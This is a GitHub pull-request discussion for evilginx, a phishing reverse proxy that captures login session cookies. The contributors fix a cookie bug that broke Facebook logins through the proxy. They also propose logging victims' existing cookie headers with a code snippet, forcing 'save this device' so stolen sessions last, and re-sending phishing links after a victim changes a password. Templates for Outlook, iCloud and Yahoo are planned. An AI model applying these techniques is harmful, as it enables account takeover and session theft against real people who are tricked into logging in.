kgretzky / evilginx

PLEASE USE NEW VERSION: https://github.com/kgretzky/evilginx2
MIT License
1.07k stars 260 forks source link

Fix: stop sending cookie when deleted #20

Closed poweroftrue closed 7 years ago

poweroftrue commented 7 years ago

Facebook login was broken when there is checkpoint facebook.com/checkpoint and other cases because when Facebook server deletes a cookie OpenResty still sending the cookie with the value “deleted”.

there is some few improvements I want to apply but is there new version upcoming? what is milestones/goals because I'm willing to dedicate some time for evilginx, so will you rewrite it using some browser simulation platform or headless browser (to discard site config and make evilginx run with all websites automatically) or you will continue with OpenResty?

I need to know also what is the future plan for evilginx is there something important we may work on it first?

thank you for the awesome project! 👍

kgretzky commented 7 years ago

Amazing find, Mostafa! I've also encountered issues lately when FB got into a checkpoint, but I haven't managed to find the real cause of them. What you say makes sense. I need to think if removing "Expires=" from "set-cookies" header is a good idea. I may need to be more selective about it.

To answer your question, the future plan is most likely to stay with OpenResty. I haven't planned any simulation or headless browsers. Nginx engine works perfectly and LUA support makes it possible to change every part of HTTP packet that comes through. For that reason I don't see any reason to move to other technologies, which may overcomplicate things and not necessarily make the tool perform better.

My current plan is to add more templates for other websites. I have Outlook, iCloud, Yahoo and more lined up in my TODO for the next release. If anything changes I will make sure to contact and discuss with you directly.

Thanks for contributing and improving the project!

poweroftrue commented 7 years ago

Thanks @kgretzky : )

We also need to log cookies not just set-cookie for example:

if user logged in successfully to facebook but because of deleted cookie issue user redirected to not-facebook.com/checkpoint/deleted and evilginx broken, cookies we want to log have been set in the browser but not logged yet.

if the user visited the website again the cookies will not logged because it's no longer set-cookie it is now cookie so maybe we need something like this:

set_cookies = get_set_cookies(req['set-cookies'])
# add cookie header (cookies already been set) 
current_cookies = get_set_cookies(req['cookie'])

...

if tokens_ready(set_cookies, tokens):
            token_data = dump_tokens(set_cookies, tokens, token_domains)
# dump cookies also (also find way to merge them with set_cookies)
if tokens_ready(current_cookies, tokens):
            token_data += dump_tokens(current_cookies, tokens, token_domains)

Also there is something very great about being a proxy! when user login we can change the request to force "save this device" so site will not refuse cookies after user closes the browser, and cookies not expired as you said.

And a lot more ideas and improvements I want to collaborate with you so let's use Trello & gitter perhaps ?

kgretzky commented 7 years ago

Evilginx will only look for set-cookie headers as it only needs to intercept the session cookies at the moment of successful login, not afterwards, so no need to intercept cookie header as then user should never be allowed to go back to the phishing site. That is why rd cookie is set to perform redirection immediately when it is set.

I tried out your changes and it didn't change anything. Also looking for value=deleted is wrong because value is the name of the cookie which will be variable. I made my modifications to set expiry only for cookies containing =deleted; string, but still OpenResty is returning 502 Bad Gateway on Identify photos of friends at path: /checkpoint/?next

Even with cookies set to deleted values, being sent to FB server, it doesn't seem to break the checkpoint functionality.

poweroftrue commented 7 years ago

I understand that Evilginx will set rc redirect url & rd redirect status and wait for set-cookie but I'm just wondering if is it better to log cookie when we have it not only on set-cookie if something goes wrong and user visited the link again with the cookies in cookie header?

Also being redirected every time he visit the link again to rc I think we maybe add 1 minute expire for rc so he can login again for example I have the user logged in but he changed the password from the real facebook I want to send the link again for the new password?

About the pull request I tested on facebook test account on /whitehat I remember that when I logged in facebook redirect me to not-facebook.com/checkpoint/deleted and browser stopped because too many redirects.

Anyway I'll try again and see what happens, after my changes and notice still there's deleted value on some cookies so maybe it's from another where.

kgretzky commented 7 years ago

Hello again.

I did check again and I can confirm your suspicion was right! I managed to reproduce the issue and indeed after the checkpoint I was redirected to /deleted page. The reason for this was that the server set rc cookie in set-cookie header multiple times, thus overwriting the cookie that contained the redirection URL.

Your fix works, but there is one small mistake in it. Please change line: if not string.find(val, "value=deleted;") then to: if not string.find(val, "=deleted;") then

I will then merge your pull request as a working fix.

Regarding the issue that I had, I troubleshot it and the reason were too big responses from Nginx proxy. This issue gets fixed by adding several options to nginx.conf which I will put in install.sh file in the next update.

poweroftrue commented 7 years ago

Done and I applied it to the other websites.

I have some time this weekend do you want me to look at specific feature/issue? I'm very excited to see the upcoming version!

Thank you for your hard work it's really awesome 👍

poweroftrue commented 7 years ago

Done, but I recommend changing it soon after some tests because it maybe break some websites logic because when servers try to read value of some cookies they trying to looking for something in database or one of multiple options.

in my personal/work web apps keeping cookies with value "deleted" will kick the user because it's wrong value.

kgretzky commented 7 years ago

As for your question, I've added a "development" branch where you can view all the latest changes pending official release. I've added live.com support and some other fixes. If you have time it would be best to test sign-in process as much as possible for all services, just like you did with FB and found an issue with overwriting cookies during "checkpoint".

Also after you pull the development branch, don't forget to run update.sh as it will make sure your nginx.conf is properly configured.